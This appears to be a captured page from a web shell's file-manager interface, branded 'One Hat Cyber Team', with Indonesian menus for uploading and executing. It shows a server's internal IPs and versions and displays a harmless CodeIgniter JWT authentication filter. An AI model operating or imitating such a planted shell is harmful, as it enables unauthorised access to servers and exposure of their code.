⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
lppm
/
app
/
Filters
/
Viewing : JwtAuth.php
<?php // app/Filters/AuthFilter.php namespace App\Filters; use CodeIgniter\Filters\FilterInterface; use CodeIgniter\HTTP\RequestInterface; use CodeIgniter\HTTP\ResponseInterface; use CodeIgniter\API\ResponseTrait; class JwtAuth implements FilterInterface { use ResponseTrait; protected $response; public function before(RequestInterface $request, $arguments = null) { $this->response = service('response'); helper('jwt'); $authHeader = $request->getHeaderLine('Authorization'); if (empty($authHeader) || !str_starts_with($authHeader, 'Bearer ')) { return $this->failUnauthorized('Access denied. Token missing or malformed.'); } $token = str_replace('Bearer ', '', $authHeader); $decoded = validateJWT($token); if ($decoded === false) { return $this->failUnauthorized('Access denied. Invalid or expired token.'); } return $request; } public function after(RequestInterface $request, ResponseInterface $response, $arguments = null) { // Tidak ada aksi setelah } }